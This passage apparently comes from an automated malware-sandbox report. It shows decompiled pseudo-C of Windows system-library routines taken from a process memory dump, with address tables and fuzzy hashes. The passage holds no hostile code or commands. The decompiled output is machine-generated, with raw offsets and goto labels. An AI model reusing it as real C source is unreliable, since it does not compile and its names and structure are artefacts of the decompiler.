                                      					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
                                      					 *(_t83 - 4) = _t80;
                                      					if(_t68 < 0) {
                                      						_t82 =  *((intOrPtr*)(_t83 + 0xc));
                                      						if(_t82 == 0) {
                                      							goto L14;
                                      						}
                                      						asm("btr eax, ecx");
                                      						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
                                      						if( *_t82 != 0) {
                                      							 *0x3757b10 =  *0x3757b10 - 8;
                                      						}
                                      						goto L20;
                                      					}
                                      					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
                                      					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
                                      					_t51 =  *0x375536c; // 0x90ecb0
                                      					if( *_t51 != 0x3755368) {
                                      						_push(3);
                                      						asm("int 0x29");
                                      						goto L14;
                                      					}
                                      					 *_t55 = 0x3755368;
                                      					 *((intOrPtr*)(_t55 + 4)) = _t51;
                                      					 *_t51 = _t55;
                                      					 *0x375536c = _t55;
                                      					_t52 =  *((intOrPtr*)(_t83 + 0x10));
                                      					if(_t52 != 0) {
                                      						 *_t52 = _t55;
                                      					}
                                      					_t39 = 0;
                                      					goto L11;
                                      				}
                                      				_t77 =  *((intOrPtr*)(_t83 + 8));
                                      				_t68 = E0369A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
                                      				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
                                      				if(_t68 < 0) {
                                      					goto L14;
                                      				}
                                      				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
                                      				goto L6;
                                      			}


















                                      0x0369a61c
                                      0x0369a61e
                                      0x0369a623
                                      0x0369a628
                                      0x0369a62b
                                      0x0369a62d
                                      0x0369a648
                                      0x0369a64a
                                      0x0369a64f
                                      0x036d9b44
                                      0x0369a6ec
                                      0x0369a6f1
                                      0x0369a6f1
                                      0x0369a655
                                      0x0369a657
                                      0x0369a65a
                                      0x0369a65d
                                      0x0369a662
                                      0x0369a663
                                      0x0369a667
                                      0x0369a668
                                      0x0369a66d
                                      0x0369a706
                                      0x0369a706
                                      0x036d9bda
                                      0x036d9be6
                                      0x036d9beb
                                      0x00000000
                                      0x036d9beb
                                      0x0369a679
                                      0x036d9b7a
                                      0x00000000
                                      0x036d9b7a
                                      0x0369a683
                                      0x0369a6f4
                                      0x0369a6f7
                                      0x0369a6f9
                                      0x0369a6fd
                                      0x0369a6a0
                                      0x0369a6a0
                                      0x0369a6ad
                                      0x0369a6af
                                      0x0369a6b4
                                      0x036d9ba7
                                      0x036d9bac
                                      0x00000000
                                      0x00000000
                                      0x036d9bc6
                                      0x036d9bce
                                      0x036d9bd1
                                      0x036d9bd3
                                      0x036d9bd3
                                      0x00000000
                                      0x036d9bd1
                                      0x0369a6bd
                                      0x0369a6c3
                                      0x0369a6c6
                                      0x0369a6d2
                                      0x0369a701
                                      0x0369a704
                                      0x00000000
                                      0x0369a704
                                      0x0369a6d4
                                      0x0369a6d6
                                      0x0369a6d9
                                      0x0369a6db
                                      0x0369a6e1
                                      0x0369a6e6
                                      0x0369a6e8
                                      0x0369a6e8
                                      0x0369a6ea
                                      0x00000000
                                      0x0369a6ea
                                      0x0369a688
                                      0x0369a692
                                      0x0369a694
                                      0x0369a699
                                      0x00000000
                                      0x00000000
                                      0x0369a69d
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2ddde584cca57663de27ff6c1e77cde3a3d28860689ace4420fb4ec99e67287f
                                      • Instruction ID: 6ad1617211ceb88e13a4f2e3b3cf9e61824d217ae75b8371c502f07237cbccba
                                      • Opcode Fuzzy Hash: 2ddde584cca57663de27ff6c1e77cde3a3d28860689ace4420fb4ec99e67287f
                                      • Instruction Fuzzy Hash: 74416A79A00315DFDF08CF98C980BA9BBF5BB49314F1981AAE805AF344C775A941CF94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E036A3D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
                                      				intOrPtr _v8;
                                      				char _v12;
                                      				signed short** _t33;
                                      				short* _t38;
                                      				intOrPtr* _t39;
                                      				intOrPtr* _t41;
                                      				signed short _t43;
                                      				intOrPtr* _t47;
                                      				intOrPtr* _t53;
                                      				signed short _t57;
                                      				intOrPtr _t58;
                                      				signed short _t60;
                                      				signed short* _t61;
                                      
                                      				_t47 = __ecx;
                                      				_t61 = __edx;
                                      				_t60 = ( *__ecx & 0x0000ffff) + 2;
                                      				if(_t60 > 0xfffe) {
                                      					L22:
                                      					return 0xc0000106;
                                      				}
                                      				if(__edx != 0) {
                                      					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
                                      						L5:
                                      						E03677B60(0, _t61, 0x36411c4);
                                      						_v12 =  *_t47;
                                      						_v12 = _v12 + 0xfff8;
                                      						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
                                      						E03677B60(0xfff8, _t61,  &_v12);
                                      						_t33 = _a8;
                                      						if(_t33 != 0) {
                                      							 *_t33 = _t61;
                                      						}
                                      						 *((short*)(_t61[2] + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
                                      						_t53 = _a12;
                                      						if(_t53 != 0) {
                                      							_t57 = _t61[2];
                                      							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
                                      							while(_t38 >= _t57) {
                                      								if( *_t38 == 0x5c) {
                                      									_t41 = _t38 + 2;
                                      									if(_t41 == 0) {
                                      										break;
                                      									}
                                      									_t58 = 0;
                                      									if( *_t41 == 0) {
                                      										L19:
                                      										 *_t53 = _t58;
                                      										goto L7;
                                      									}
                                      									 *_t53 = _t41;
                                      									goto L7;
                                      								}
                                      								_t38 = _t38 - 2;
                                      							}
                                      							_t58 = 0;
                                      							goto L19;
                                      						} else {
                                      							L7:
                                      							_t39 = _a16;
                                      							if(_t39 != 0) {
                                      								 *_t39 = 0;
                                      								 *((intOrPtr*)(_t39 + 4)) = 0;
                                      								 *((intOrPtr*)(_t39 + 8)) = 0;
                                      								 *((intOrPtr*)(_t39 + 0xc)) = 0;
                                      							}
                                      							return 0;
                                      						}
                                      					}
                                      					_t61 = _a4;
                                      					if(_t61 != 0) {
                                      						L3:
                                      						_t43 = L03684620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
                                      						_t61[2] = _t43;
                                      						if(_t43 == 0) {
                                      							return 0xc0000017;
                                      						}
                                      						_t61[1] = _t60;
                                      						 *_t61 = 0;
                                      						goto L5;
                                      					}
                                      					goto L22;
                                      				}
                                      				_t61 = _a4;
                                      				if(_t61 == 0) {
                                      					return 0xc000000d;
                                      				}
                                      				goto L3;
                                      			}
















                                      0x036a3d4c
                                      0x036a3d50
                                      0x036a3d55
                                      0x036a3d5e
                                      0x036de79a
                                      0x00000000
                                      0x036de79a
                                      0x036a3d68
                                      0x036de789
                                      0x036a3d9d
                                      0x036a3da3
                                      0x036a3daf
                                      0x036a3db5
                                      0x036a3dbc
                                      0x036a3dc4
                                      0x036a3dc9
                                      0x036a3dce
                                      0x036de7ae
                                      0x036de7ae
                                      0x036a3dde
                                      0x036a3de2
                                      0x036a3de7
                                      0x036a3e0d
                                      0x036a3e13
                                      0x036a3e16
                                      0x036a3e1e
                                      0x036a3e25
                                      0x036a3e28
                                      0x00000000
                                      0x00000000
                                      0x036a3e2a
                                      0x036a3e2f
                                      0x036a3e37
                                      0x036a3e37
                                      0x00000000
                                      0x036a3e37
                                      0x036a3e31
                                      0x00000000
                                      0x036a3e31
                                      0x036a3e20
                                      0x036a3e20
                                      0x036a3e35
                                      0x00000000
                                      0x036a3de9
                                      0x036a3de9
                                      0x036a3de9
                                      0x036a3dee
                                      0x036a3dfd
                                      0x036a3dff
                                      0x036a3e02
                                      0x036a3e05
                                      0x036a3e05
                                      0x00000000
                                      0x036a3df0
                                      0x036a3de7
                                      0x036de78f
                                      0x036de794
                                      0x036a3d79
                                      0x036a3d84
                                      0x036a3d89
                                      0x036a3d8e
                                      0x00000000
                                      0x036de7a4
                                      0x036a3d96
                                      0x036a3d9a
                                      0x00000000
                                      0x036a3d9a
                                      0x00000000
                                      0x036de794
                                      0x036a3d6e
                                      0x036a3d73
                                      0x00000000
                                      0x036de7b5
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 5ed893fd10ba636461851ce77f98f339ede7b7a4515e6d32f8a55206f6d3cf7e
                                      • Instruction ID: 18a5dbf90d8aee9dd3903664b230df93f5af2bb635212804b060de01ae65ac76
                                      • Opcode Fuzzy Hash: 5ed893fd10ba636461851ce77f98f339ede7b7a4515e6d32f8a55206f6d3cf7e
                                      • Instruction Fuzzy Hash: B2317A39A05A15DBC725DF2DD945A6ABBA5EF45700B2980AAE849CB360EA30DC41CB90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 68%
                                      			E0368C182(void* __ecx, unsigned int* __edx, intOrPtr _a4) {
                                      				signed int* _v8;
                                      				char _v16;
                                      				void* __ebx;
                                      				void* __edi;
                                      				signed char _t33;
                                      				signed char _t43;
                                      				signed char _t48;
                                      				signed char _t62;
                                      				void* _t63;
                                      				intOrPtr _t69;
                                      				intOrPtr _t71;
                                      				unsigned int* _t82;
                                      				void* _t83;
                                      
                                      				_t80 = __ecx;
                                      				_t82 = __edx;
                                      				_t33 =  *((intOrPtr*)(__ecx + 0xde));
                                      				_t62 = _t33 >> 0x00000001 & 0x00000001;
                                      				if((_t33 & 0x00000001) != 0) {
                                      					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
                                      					if(E03687D50() != 0) {
                                      						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      					} else {
                                      						_t43 = 0x7ffe0386;
                                      					}
                                      					if( *_t43 != 0) {
                                      						_t43 = E03738D34(_v8, _t80);
                                      					}
                                      					E03682280(_t43, _t82);
                                      					if( *((char*)(_t80 + 0xdc)) == 0) {
                                      						E0367FFB0(_t62, _t80, _t82);
                                      						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
                                      						_t30 = _t80 + 0xd0; // 0xd0
                                      						_t83 = _t30;
                                      						E03738833(_t83,  &_v16);
                                      						_t81 = _t80 + 0x90;
                                      						E0367FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
                                      						_t63 = 0;
                                      						_push(0);
                                      						_push(_t83);
                                      						_t48 = E036AB180();
                                      						if(_a4 != 0) {
                                      							E03682280(_t48, _t81);
                                      						}
                                      					} else {
                                      						_t69 = _v8;
                                      						_t12 = _t80 + 0x98; // 0x98
                                      						_t13 = _t69 + 0xc; // 0x575651ff
                                      						E0368BB2D(_t13, _t12);
                                      						_t71 = _v8;
                                      						_t15 = _t80 + 0xb0; // 0xb0
                                      						_t16 = _t71 + 8; // 0x8b000cc2
                                      						E0368BB2D(_t16, _t15);
                                      						E0368B944(_v8, _t62);
                                      						 *((char*)(_t80 + 0xdc)) = 0;
                                      						E0367FFB0(0, _t80, _t82);
                                      						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
                                      						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
                                      						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
                                      						 *(_t80 + 0xde) = 0;
                                      						if(_a4 == 0) {
                                      							_t25 = _t80 + 0x90; // 0x90
                                      							E0367FFB0(0, _t80, _t25);
                                      						}
                                      						_t63 = 1;
                                      					}
                                      					return _t63;
                                      				}
                                      				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
                                      				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
                                      				if(_a4 == 0) {
                                      					_t24 = _t80 + 0x90; // 0x90
                                      					E0367FFB0(0, __ecx, _t24);
                                      				}
                                      				return 0;
                                      			}
















                                      0x0368c18d
                                      0x0368c18f
                                      0x0368c191
                                      0x0368c19b
                                      0x0368c1a0
                                      0x0368c1d4
                                      0x0368c1de
                                      0x036d2d6e
                                      0x0368c1e4
                                      0x0368c1e4
                                      0x0368c1e4
                                      0x0368c1ec
                                      0x036d2d7d
                                      0x036d2d7d
                                      0x0368c1f3
                                      0x0368c1ff
                                      0x036d2d88
                                      0x036d2d8d
                                      0x036d2d94
                                      0x036d2d94
                                      0x036d2d9f
                                      0x036d2da4
                                      0x036d2dab
                                      0x036d2db0
                                      0x036d2db2
                                      0x036d2db3
                                      0x036d2db4
                                      0x036d2dbc
                                      0x036d2dc3
                                      0x036d2dc3
                                      0x0368c205
                                      0x0368c205
                                      0x0368c208
                                      0x0368c20e
                                      0x0368c211
                                      0x0368c216
                                      0x0368c219
                                      0x0368c21f
                                      0x0368c222
                                      0x0368c22c
                                      0x0368c234
                                      0x0368c23a
                                      0x0368c23f
                                      0x0368c245
                                      0x0368c24b
                                      0x0368c251
                                      0x0368c25a
                                      0x0368c276
                                      0x0368c27d
                                      0x0368c27d
                                      0x0368c25c
                                      0x0368c25c
                                      0x00000000
                                      0x0368c25e
                                      0x0368c1a4
                                      0x0368c1aa
                                      0x0368c1b3
                                      0x0368c265
                                      0x0368c26c
                                      0x0368c26c
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                      • Instruction ID: 3741872a7d74fce2a8680bbcb9847abb0bd353c2babab1e9b55af429c50612a2
                                      • Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
                                      • Instruction Fuzzy Hash: 00313775A0168ABED704FBB4C490FE9FB64BF4A204F08425ED41C4F341DB386A0ADBA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 76%
                                      			E036E7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
                                      				signed int _v8;
                                      				char _v588;
                                      				intOrPtr _v592;
                                      				intOrPtr _v596;
                                      				signed short* _v600;
                                      				char _v604;
                                      				short _v606;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed short* _t55;
                                      				void* _t56;
                                      				signed short* _t58;
                                      				signed char* _t61;
                                      				char* _t68;
                                      				void* _t69;
                                      				void* _t71;
                                      				void* _t72;
                                      				signed int _t75;
                                      
                                      				_t64 = __edx;
                                      				_t77 = (_t75 & 0xfffffff8) - 0x25c;
                                      				_v8 =  *0x375d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
                                      				_t55 = _a16;
                                      				_v606 = __ecx;
                                      				_t71 = 0;
                                      				_t58 = _a12;
                                      				_v596 = __edx;
                                      				_v600 = _t58;
                                      				_t68 =  &_v588;
                                      				if(_t58 != 0) {
                                      					_t71 = ( *_t58 & 0x0000ffff) + 2;
                                      					if(_t55 != 0) {
                                      						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
                                      					}
                                      				}
                                      				_t8 = _t71 + 0x2a; // 0x28
                                      				_t33 = _t8;
                                      				_v592 = _t8;
                                      				if(_t71 <= 0x214) {
                                      					L6:
                                      					 *((short*)(_t68 + 6)) = _v606;
                                      					if(_t64 != 0xffffffff) {
                                      						asm("cdq");
                                      						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
                                      						 *((char*)(_t68 + 0x28)) = _a4;
                                      						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
                                      						 *((char*)(_t68 + 0x29)) = _a8;
                                      						if(_t71 != 0) {
                                      							_t22 = _t68 + 0x2a; // 0x2a
                                      							_t64 = _t22;
                                      							E036E6B4C(_t58, _t22, _t71,  &_v604);
                                      							if(_t55 != 0) {
                                      								_t25 = _v604 + 0x2a; // 0x2a
                                      								_t64 = _t25 + _t68;
                                      								E036E6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
                                      							}
                                      							if(E03687D50() == 0) {
                                      								_t61 = 0x7ffe0384;
                                      							} else {
                                      								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
                                      							}
                                      							_push(_t68);
                                      							_push(_v592 + 0xffffffe0);
                                      							_push(0x402);
                                      							_push( *_t61 & 0x000000ff);
                                      							E036A9AE0();
                                      						}
                                      					}
                                      					_t35 =  &_v588;
                                      					if( &_v588 != _t68) {
                                      						_t35 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
                                      					}
                                      					L16:
                                      					_pop(_t69);
                                      					_pop(_t72);
                                      					_pop(_t56);
                                      					return E036AB640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
                                      				}
                                      				_t68 = L03684620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
                                      				if(_t68 == 0) {
                                      					goto L16;
                                      				} else {
                                      					_t58 = _v600;
                                      					_t64 = _v596;
                                      					goto L6;
                                      				}
                                      			}






















                                      0x036e7016
                                      0x036e701e
                                      0x036e702b
                                      0x036e7033
                                      0x036e7037
                                      0x036e703c
                                      0x036e703e
                                      0x036e7041
                                      0x036e7045
                                      0x036e704a
                                      0x036e7050
                                      0x036e7055
                                      0x036e705a
                                      0x036e7062
                                      0x036e7062
                                      0x036e705a
                                      0x036e7064
                                      0x036e7064
                                      0x036e7067
                                      0x036e7071
                                      0x036e7096
                                      0x036e709b
                                      0x036e70a2
                                      0x036e70a6
                                      0x036e70a7
                                      0x036e70ad
                                      0x036e70b3
                                      0x036e70b6
                                      0x036e70bb
                                      0x036e70c3
                                      0x036e70c3
                                      0x036e70c6
                                      0x036e70cd
                                      0x036e70dd
                                      0x036e70e0
                                      0x036e70e2
                                      0x036e70e2
                                      0x036e70ee
                                      0x036e7101
                                      0x036e70f0
                                      0x036e70f9
                                      0x036e70f9
                                      0x036e710a
                                      0x036e710e
                                      0x036e7112
                                      0x036e7117
                                      0x036e7118
                                      0x036e7118
                                      0x036e70bb
                                      0x036e711d
                                      0x036e7123
                                      0x036e7131
                                      0x036e7131
                                      0x036e7136
                                      0x036e713d
                                      0x036e713e
                                      0x036e713f
                                      0x036e714a
                                      0x036e714a
                                      0x036e7084
                                      0x036e7088
                                      0x00000000
                                      0x036e708e
                                      0x036e708e
                                      0x036e7092
                                      0x00000000
                                      0x036e7092

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4740dedf8e1ae31e310fa3929210ef84d9b45dbdd7d73ee20802e7e575b6a16d
                                      • Instruction ID: eb1af88c6e60203d2f692c7d8120c86bc7a3784c1a46d3f6aaaf94e5f4813424
                                      • Opcode Fuzzy Hash: 4740dedf8e1ae31e310fa3929210ef84d9b45dbdd7d73ee20802e7e575b6a16d
                                      • Instruction Fuzzy Hash: 3731C4766057519BC321DF68C940AAAB7E5FFC8700F084A2DF8958B790E770E918CBA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 92%
                                      			E0369A70E(intOrPtr* __ecx, char* __edx) {
                                      				unsigned int _v8;
                                      				intOrPtr* _v12;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* _t16;
                                      				intOrPtr _t17;
                                      				intOrPtr _t28;
                                      				char* _t33;
                                      				intOrPtr _t37;
                                      				intOrPtr _t38;
                                      				void* _t50;
                                      				intOrPtr _t52;
                                      
                                      				_push(__ecx);
                                      				_push(__ecx);
                                      				_t52 =  *0x3757b10; // 0x9
                                      				_t33 = __edx;
                                      				_t48 = __ecx;
                                      				_v12 = __ecx;
                                      				if(_t52 == 0) {
                                      					 *0x3757b10 = 8;
                                      					 *0x3757b14 = 0x3757b0c;
                                      					 *0x3757b18 = 1;
                                      					L6:
                                      					_t2 = _t52 + 1; // 0xa
                                      					E0369A990(0x3757b10, _t2, 7);
                                      					asm("bts ecx, eax");
                                      					 *_t48 = _t52;
                                      					 *_t33 = 1;
                                      					L3:
                                      					_t16 = 0;
                                      					L4:
                                      					return _t16;
                                      				}
                                      				_t17 = L0369A840(__edx, __ecx, __ecx, _t52, 0x3757b10, 1, 0);
                                      				if(_t17 == 0xffffffff) {
                                      					_t37 =  *0x3757b10; // 0x9
                                      					_t3 = _t37 + 0x27; // 0x30
                                      					__eflags = _t3 >> 5 -  *0x3757b18; // 0x1
                                      					if(__eflags > 0) {
                                      						_t38 =  *0x3757b9c; // 0x0
                                      						_t4 = _t52 + 0x27; // 0x30
                                      						_v8 = _t4 >> 5;
                                      						_t50 = L03684620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
                                      						__eflags = _t50;
                                      						if(_t50 == 0) {
                                      							_t16 = 0xc0000017;
                                      							goto L4;
                                      						}
                                      						 *0x3757b18 = _v8;
                                      						_t8 = _t52 + 7; // 0x10
                                      						E036AF3E0(_t50,  *0x3757b14, _t8 >> 3);
                                      						_t28 =  *0x3757b14; // 0x773b7b0c
                                      						__eflags = _t28 - 0x3757b0c;
                                      						if(_t28 != 0x3757b0c) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
                                      						}
                                      						_t9 = _t52 + 8; // 0x11
                                      						 *0x3757b14 = _t50;
                                      						_t48 = _v12;
                                      						 *0x3757b10 = _t9;
                                      						goto L6;
                                      					}
                                      					 *0x3757b10 = _t37 + 8;
                                      					goto L6;
                                      				}
                                      				 *__ecx = _t17;
                                      				 *_t33 = 0;
                                      				goto L3;
                                      			}
















                                      0x0369a713
                                      0x0369a714
                                      0x0369a717
                                      0x0369a71d
                                      0x0369a720
                                      0x0369a722
                                      0x0369a727
                                      0x0369a74a
                                      0x0369a754
                                      0x0369a75e
                                      0x0369a768
                                      0x0369a76a
                                      0x0369a773
                                      0x0369a78b
                                      0x0369a790
                                      0x0369a792
                                      0x0369a741
                                      0x0369a741
                                      0x0369a743
                                      0x0369a749
                                      0x0369a749
                                      0x0369a732
                                      0x0369a73a
                                      0x0369a797
                                      0x0369a79d
                                      0x0369a7a3
                                      0x0369a7a9
                                      0x0369a7b6
                                      0x0369a7bc
                                      0x0369a7ca
                                      0x0369a7e0
                                      0x0369a7e2
                                      0x0369a7e4
                                      0x036d9bf2
                                      0x00000000
                                      0x036d9bf2
                                      0x0369a7ed
                                      0x0369a7f2
                                      0x0369a800
                                      0x0369a805
                                      0x0369a80d
                                      0x0369a812
                                      0x036d9c08
                                      0x036d9c08
                                      0x0369a818
                                      0x0369a81b
                                      0x0369a821
                                      0x0369a824
                                      0x00000000
                                      0x0369a824
                                      0x0369a7ae
                                      0x00000000
                                      0x0369a7ae
                                      0x0369a73c
                                      0x0369a73e
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a9a11b846e3302abba8ee8aa7957aa2a64aa72a8e9542ed57516b7f90240a0d2
                                      • Instruction ID: f8c87bd1d3b451b52fc73e7e20ec3d4014ec75a4da3779aad5d9059f3c0db7a6
                                      • Opcode Fuzzy Hash: a9a11b846e3302abba8ee8aa7957aa2a64aa72a8e9542ed57516b7f90240a0d2
                                      • Instruction Fuzzy Hash: C331ABB5600380ABDB1DEB48DD81F29B7FAEB84710F14895AE0158B244D7B49901CBD2
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 95%
                                      			E0366AA16(signed short* __ecx) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				signed short _v16;
                                      				intOrPtr _v20;
                                      				signed short _v24;
                                      				signed short _v28;
                                      				void* _v32;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr _t25;
                                      				signed short _t38;
                                      				signed short* _t42;
                                      				signed int _t44;
                                      				signed short* _t52;
                                      				signed short _t53;
                                      				signed int _t54;
                                      
                                      				_v8 =  *0x375d360 ^ _t54;
                                      				_t42 = __ecx;
                                      				_t44 =  *__ecx & 0x0000ffff;
                                      				_t52 =  &(__ecx[2]);
                                      				_t51 = _t44 + 2;
                                      				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
                                      					L4:
                                      					_t25 =  *0x3757b9c; // 0x0
                                      					_t53 = L03684620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
                                      					__eflags = _t53;
                                      					if(_t53 == 0) {
                                      						L3:
                                      						return E036AB640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
                                      					} else {
                                      						E036AF3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
                                      						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
                                      						L2:
                                      						_t51 = 4;
                                      						if(L03676C59(_t53, _t51, _t58) != 0) {
                                      							_t28 = E03695E50(0x364c338, 0, 0,  &_v32);
                                      							__eflags = _t28;
                                      							if(_t28 == 0) {
                                      								_t38 = ( *_t42 & 0x0000ffff) + 2;
                                      								__eflags = _t38;
                                      								_v24 = _t53;
                                      								_v16 = _t38;
                                      								_v20 = 0;
                                      								_v12 = 0;
                                      								E0369B230(_v32, _v28, 0x364c2d8, 1,  &_v24);
                                      								_t28 = E0366F7A0(_v32, _v28);
                                      							}
                                      							__eflags = _t53 -  *_t52;
                                      							if(_t53 !=  *_t52) {
                                      								_t28 = L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
                                      							}
                                      						}
                                      						goto L3;
                                      					}
                                      				}
                                      				_t53 =  *_t52;
                                      				_t44 = _t44 >> 1;
                                      				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
                                      				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
                                      					goto L4;
                                      				}
                                      				goto L2;
                                      			}




















                                      0x0366aa25
                                      0x0366aa29
                                      0x0366aa2d
                                      0x0366aa30
                                      0x0366aa37
                                      0x0366aa3c
                                      0x036c4458
                                      0x036c4458
                                      0x036c4472
                                      0x036c4474
                                      0x036c4476
                                      0x0366aa64
                                      0x0366aa74
                                      0x036c447c
                                      0x036c4483
                                      0x036c4492
                                      0x0366aa52
                                      0x0366aa54
                                      0x0366aa5e
                                      0x036c44a8
                                      0x036c44ad
                                      0x036c44af
                                      0x036c44b6
                                      0x036c44b6
                                      0x036c44b9
                                      0x036c44bc
                                      0x036c44cd
                                      0x036c44d3
                                      0x036c44d6
                                      0x036c44e1
                                      0x036c44e1
                                      0x036c44e6
                                      0x036c44e8
                                      0x036c44fb
                                      0x036c44fb
                                      0x036c44e8
                                      0x00000000
                                      0x0366aa5e
                                      0x036c4476
                                      0x0366aa42
                                      0x0366aa46
                                      0x0366aa48
                                      0x0366aa4c
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a10a6cae123db51707bdae4e5716239307586e48cc6bb7898b9641d8896102af
                                      • Instruction ID: f925cd80a6e0cb1775b41f300f490e4dd50d700e2bf3bdf9c1ac867692a91275
                                      • Opcode Fuzzy Hash: a10a6cae123db51707bdae4e5716239307586e48cc6bb7898b9641d8896102af
                                      • Instruction Fuzzy Hash: 3331E871A00259ABCF15EFA9CE41ABFB7B8EF04700B15406EF801EB250EB749D51CBA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 97%
                                      			E036961A0(signed int* __ecx) {
                                      				intOrPtr _v8;
                                      				char _v12;
                                      				intOrPtr* _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _t30;
                                      				intOrPtr _t31;
                                      				void* _t32;
                                      				intOrPtr _t33;
                                      				intOrPtr _t37;
                                      				intOrPtr _t49;
                                      				signed int _t51;
                                      				intOrPtr _t52;
                                      				signed int _t54;
